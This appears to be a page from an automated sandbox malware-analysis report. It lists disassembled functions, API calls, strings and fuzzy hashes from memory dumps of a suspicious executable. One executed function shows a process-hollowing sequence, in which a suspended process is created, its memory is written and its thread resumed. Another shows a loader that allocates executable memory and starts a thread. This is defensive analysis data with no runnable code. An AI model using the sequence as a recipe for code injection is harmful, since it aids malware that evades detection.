Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: a772aee2ff939b41ceacfe5d9c62a1c1649384db564b643223aab4dcc671577d
Instruction ID: b0da0c646494d065ff7e378305441b7dd3dc2c9910eec8cc6eb44b341c2662d4
Opcode Fuzzy Hash: a772aee2ff939b41ceacfe5d9c62a1c1649384db564b643223aab4dcc671577d
Instruction Fuzzy Hash: E3D17A76D00248AFCB11CFA8D8809AEBBB5FF09305F18412BE955E7352E734A94ACB55

Function 004640C0 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00463CA4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00462C36,?,00000000,-00000008), ref: 00463D50

GetLastError.KERNEL32 ref: 00464124
__dosmaperr.LIBCMT ref: 0046412B
GetLastError.KERNEL32(?,?,?,?), ref: 00464165
__dosmaperr.LIBCMT ref: 0046416C

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: a31ab17ce530dd7109a8adec3e65158370b46e61d7cab84ede28d10ddcd09308
Instruction ID: f82c1261fc458f8c7373098b0792ebdcf48c0276872e8635986a425d170fc911
Opcode Fuzzy Hash: a31ab17ce530dd7109a8adec3e65158370b46e61d7cab84ede28d10ddcd09308
Instruction Fuzzy Hash: 7521F831600615BFCF20AF62CC559ABB7ADFF92368710851EF95597201FB38EC418B9A

Function 0045B419 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be49f80d482dc167accdbb5ac515b9026d1dace0591460f3eadbb4ef178a49ef
Instruction ID: 6b85ae093f021ed72ea2294eccd63d84d8c7873224d449c59348b3256c604115
Opcode Fuzzy Hash: be49f80d482dc167accdbb5ac515b9026d1dace0591460f3eadbb4ef178a49ef
Instruction Fuzzy Hash: F621B331600605BFCB30AF628C8093B7769EF0136AB10851AFD1497243E738DC0987D8

Function 00465056 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0046505E

Part of subcall function 00463CA4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00462C36,?,00000000,-00000008), ref: 00463D50

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00465096
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004650B6

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 51ce92426123f40590c88cf86d2228f1cea69b6e0d202cc35a24e167a722fdb6
Instruction ID: 2557d115c5af9378b345cf070c8adc42221ff2442f45d8e04d35a70da85e9604
Opcode Fuzzy Hash: 51ce92426123f40590c88cf86d2228f1cea69b6e0d202cc35a24e167a722fdb6
Instruction Fuzzy Hash: F111DBF2901A157FB7212B739C8ADBF699CDD99399B14012AF901D1201FE6CCE4145BF

Function 00469485 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,00468281,00000000,00000001,00000000,00000000,?,0046003B,00000000,00000000,00000000), ref: 0046949C
GetLastError.KERNEL32(?,00468281,00000000,00000001,00000000,00000000,?,0046003B,00000000,00000000,00000000,00000000,00000000,?,004605C2,00000000), ref: 004694A8

Part of subcall function 0046946E: CloseHandle.KERNEL32(FFFFFFFE,004694B8,?,00468281,00000000,00000001,00000000,00000000,?,0046003B,00000000,00000000,00000000,00000000,00000000), ref: 0046947E

___initconout.LIBCMT ref: 004694B8

Part of subcall function 00469430: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0046945F,0046826E,00000000,?,0046003B,00000000,00000000,00000000,00000000), ref: 00469443

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,00468281,00000000,00000001,00000000,00000000,?,0046003B,00000000,00000000,00000000,00000000), ref: 004694CD

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 85cf840b79399ef3509f0402c54d26a4153afc6378edb7591b24619cf7b00649
Instruction ID: 5874fae92c2bc14467ef7cbd3d2cafd547fe3d3fccdd653ad5a0f312176f040e
Opcode Fuzzy Hash: 85cf840b79399ef3509f0402c54d26a4153afc6378edb7591b24619cf7b00649
Instruction Fuzzy Hash: 35F01C36905154BBCF221F92DC04A9E3F2AFB093B5F054025FA19D5130EEB28D61DB9A

Function 0045172B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00451732
_strlen.LIBCMT ref: 0045174A

Strings

Madino Mino, xrefs: 00451745, 00451810

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: H_prolog3_catch_strlen
String ID: Madino Mino
API String ID: 3133806014-1963490786
Opcode ID: e3cff5fd24a43ac2364fd8613c222eb0766162901eac8535a501925826aeb722
Instruction ID: c27ebd37403b3307f1e9c938c0dc014d5c61f4f7063943af2d36b945a5312412
Opcode Fuzzy Hash: e3cff5fd24a43ac2364fd8613c222eb0766162901eac8535a501925826aeb722
Instruction Fuzzy Hash: 1441B535A002048FCB21EF6DC880A6D7BE1BB49725B24425BEC249B3E3C7759C99CB5D

Function 0045802D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00458052

Strings

RCC, xrefs: 0045806C
MOC, xrefs: 00458064

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: aecd3939091fd49f3a0954516e4328cbd9ff1a36a2de4007621dc1e916531b03
Instruction ID: 5cc42b448d8634a5232e56b8b5308d0dd3e8b91ea2e316b791bb15c44fc38993
Opcode Fuzzy Hash: aecd3939091fd49f3a0954516e4328cbd9ff1a36a2de4007621dc1e916531b03
Instruction Fuzzy Hash: 8F418772900209AFCF16CF94CC81AEEBBB5BF48305F15805AFE0477262DB399A55CB54

Function 00453D18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00453D24
std::_Lockit::~_Lockit.LIBCPMT ref: 00453D80

Strings

|,E, xrefs: 00453D4B, 00453D65

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: |,E
API String ID: 593203224-2637010583
Opcode ID: e199847d904f1ce2ff329929aa58ad48e79915490984d055920808c70cc25ae0
Instruction ID: 856fd6b21c3e2c16263a0fc03655f6ad4be394696f6c00fefb75a29b293fba50
Opcode Fuzzy Hash: e199847d904f1ce2ff329929aa58ad48e79915490984d055920808c70cc25ae0
Instruction Fuzzy Hash: 5101B535A00614EFCB01DF15C855E9E7BB9EF85392F14009AE8019B3A2EF70EE08CB95

Function 0045F430 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?), ref: 0045F470

Strings

InitializeCriticalSectionEx, xrefs: 0045F440
|,E, xrefs: 0045F460

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$|,E
API String ID: 2593887523-3198871065
Opcode ID: 51ede29d76b5098c71da10cbfddee4b21f1170a9b790408fe5953c1520c7f026
Instruction ID: 733863ffa9cbb80f2bb8343e554abe99f5a8a234d732c668c1091b83a3c366d7
Opcode Fuzzy Hash: 51ede29d76b5098c71da10cbfddee4b21f1170a9b790408fe5953c1520c7f026
Instruction Fuzzy Hash: CFE06D32A81218B7CF111F92DC09ECE3E11EB51BA2F108422FD1D5516296B698259A8A

Function 0045F2B6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0045F2EA

Strings

|,E, xrefs: 0045F2E0
FlsAlloc, xrefs: 0045F2C6

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: Alloc
String ID: FlsAlloc$|,E
API String ID: 2773662609-2341252548
Opcode ID: bdcdeba31fcce7e898e225256518e8e2c6eaf2438bba9786d58c000da5d88b5e
Instruction ID: 41178a9d0abed9b306a7f51983f5ae4fe9c66fde30c1fe34f6fa1be2e5552124
Opcode Fuzzy Hash: bdcdeba31fcce7e898e225256518e8e2c6eaf2438bba9786d58c000da5d88b5e
Instruction Fuzzy Hash: 0CE0C236E81324F38A2126929C0AEEEBA149B50B62F244073FE0952242A9E90C1586DF

Analysis Process: J9jGBSSbDD3yrTx79DzmOLls.exePID: 3652, Parent PID: 4120COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	0%
Total number of Nodes:	1440
Total number of Limit Nodes:	20

Executed Functions

Function 0117018D Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 011702FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0117030F
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 0117032D
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 01170351
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 0117037C
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 011703D4
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 0117041F
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0117045D
Wow64SetThreadContext.KERNEL32(?,?), ref: 01170499
ResumeThread.KERNELBASE(?), ref: 011704A8

Strings

ress, xrefs: 01170217
aryA, xrefs: 011701D3
Load, xrefs: 011701CB
GetP, xrefs: 0117020F

Memory Dump Source

Source File: 0000000B.00000002.2291051039.0000000001170000.00000040.00001000.00020000.00000000.sdmp, Offset: 01170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1170000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: GetP$Load$aryA$ress
API String ID: 2687962208-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: a6832e48598f8d3b9d5772d48ca9f1586ad56bab468769e8908ec2dc30b7ab52
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 8AB1D57664028AAFDB60CF68CC80BDA77A5FF8C714F158524EA0CAB341D774FA518B94

Function 00ABC217 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 81
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AA172B: __EH_prolog3_catch.LIBCMT ref: 00AA1732
Part of subcall function 00AA172B: _strlen.LIBCMT ref: 00AA174A

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00ABC234

Part of subcall function 00AA15B7: _strlen.LIBCMT ref: 00AA15CF

_strlen.LIBCMT ref: 00ABC24F
_strlen.LIBCMT ref: 00ABC265
GetProcAddress.KERNEL32(00000000,?), ref: 00ABC282
VirtualAlloc.KERNELBASE(00000000,000004AC,00001000,00000040), ref: 00ABC2A0

Part of subcall function 00ABC000: _Deallocate.LIBCONCRT ref: 00ABC097

Part of subcall function 00ABC0A0: _Deallocate.LIBCONCRT ref: 00ABC1CB

CreateThread.KERNELBASE(00000000,00000000,00000188,00AC7AC0,00000000,00000000), ref: 00ABC2D1
WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000), ref: 00ABC2DB

Part of subcall function 00AA1644: _Deallocate.LIBCONCRT ref: 00AA1653

Strings

Cons, xrefs: 00ABC249, 00ABC24E, 00ABC256
kernel32.dll, xrefs: 00ABC22F
ole, xrefs: 00ABC25F, 00ABC264, 00ABC26C
Free, xrefs: 00ABC23A

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: _strlen$Deallocate$AddressAllocCreateH_prolog3_catchHandleModuleObjectProcSingleThreadVirtualWait
String ID: Cons$Free$kernel32.dll$ole
API String ID: 2500176202-3464035140
Opcode ID: ed46eec522ff9c1f949c36c858d95a13f29161ded48cc057164a394570ddb15a
Instruction ID: 8eab00bc93083e03e0140859bf46a8809a0c69aae44762ed534b85e1043dd801
Opcode Fuzzy Hash: ed46eec522ff9c1f949c36c858d95a13f29161ded48cc057164a394570ddb15a
Instruction Fuzzy Hash: 57215072900208BEDB14FBB0DD8AEBF77BCEB46754B504519F412A71D2EB789D028B24

Function 00AAF058 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00AAF165,?,?,00000000,00000000,?,?,00AAF38F,00000021,FlsSetValue,00AC02C0,00AC02C8,00000000), ref: 00AAF119

Strings

ext-ms-, xrefs: 00AAF0C3
api-ms-, xrefs: 00AAF0AF

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: f0a99232380fc632b50003a10373f237bcbf8b0278de2bbee85541afa88d8c34
Instruction ID: f101b9f6b913e7668341d7835c02d678f6e99658942dcf467439cb32145fb432
Opcode Fuzzy Hash: f0a99232380fc632b50003a10373f237bcbf8b0278de2bbee85541afa88d8c34
Instruction Fuzzy Hash: 7421E735A01210EFDB35DBA4EC41A9A3768AF43764F254234FA16A72E2EB30ED01C6D0

Function 00AB2A91 Relevance: 7.7, APIs: 5, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 00AB2B18
__alloca_probe_16.LIBCMT ref: 00AB2BD9
__freea.LIBCMT ref: 00AB2C40

Part of subcall function 00AB1E71: HeapAlloc.KERNEL32(00000000,00000000,?,?,00AA5315,?,?,?,?,?,00AA10FC,?,00000001), ref: 00AB1EA3

__freea.LIBCMT ref: 00AB2C55
__freea.LIBCMT ref: 00AB2C65

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 305365418d8c146a3da2c1a74281f10121af569edb4adf962942c7963c2158b8
Instruction ID: d20f895dffca2b2f1c0f3720af36a701fe5cd72cc6e4f7b1cf19be1f6504e556
Opcode Fuzzy Hash: 305365418d8c146a3da2c1a74281f10121af569edb4adf962942c7963c2158b8
Instruction Fuzzy Hash: BD515C72600216ABEB259FA48D82FFF7BADEB49750B15012AFD08E7152EB71DD108760

Function 00AAC159 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00AAC153,00000016,00AA8E0A,?,?,5E2ACE94,00AA8E0A,?), ref: 00AAC16A
TerminateProcess.KERNEL32(00000000,?,00AAC153,00000016,00AA8E0A,?,?,5E2ACE94,00AA8E0A,?), ref: 00AAC171
ExitProcess.KERNEL32 ref: 00AAC183

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: c2cbf82e12bf075cc921e47204e0e3944a32d5b4e6065a921d8c27ea37fd7184
Instruction ID: 4384a26abd7e56fe82622be63af6ba991cdeb20ba42b932c4477e5f8d1a92907
Opcode Fuzzy Hash: c2cbf82e12bf075cc921e47204e0e3944a32d5b4e6065a921d8c27ea37fd7184
Instruction Fuzzy Hash: A0D09E31104104ABDF027FB0DD0D9593F26BF42351F444220B90A8B073DB3299539A90

Function 00AB4DAF Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AB48DF: GetOEMCP.KERNEL32(00000000,?,?,00000000,?), ref: 00AB490A

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00AB4BF6,?,00000000,?,00000000,?), ref: 00AB4E10
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00AB4BF6,?,00000000,?,00000000,?), ref: 00AB4E52

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: cca1967ede024d4a3fc45d0a29835bf518923bb35de76b6b3fcceb1ce04f351f
Instruction ID: c2cd785d04adc533ec218f9be2babe73412734dd883bb3421150422503c6446d
Opcode Fuzzy Hash: cca1967ede024d4a3fc45d0a29835bf518923bb35de76b6b3fcceb1ce04f351f
Instruction Fuzzy Hash: 3651F070A002459EDB21CF75C881AFABBF9FF89304F18856ED0868B253E775D906CB50

Function 00AAF4F2 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00AB2B7F,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00AAF526
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00AB2B7F,?,?,00000000,?,00000000), ref: 00AAF544

Memory Dump Source

Source File: 0000000B.00000002.2290862399.0000000000AA1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00AA0000, based on PE: true

Associated: 0000000B.00000002.2290839895.0000000000AA0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290889031.0000000000ABD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2290947454.0000000000B16000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_aa0000_J9jGBSSbDD3yrTx79DzmOLls.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 27de436f5a4217da28d8ec0286e7c1c8ed9fa969634321409094e237c29b98dc
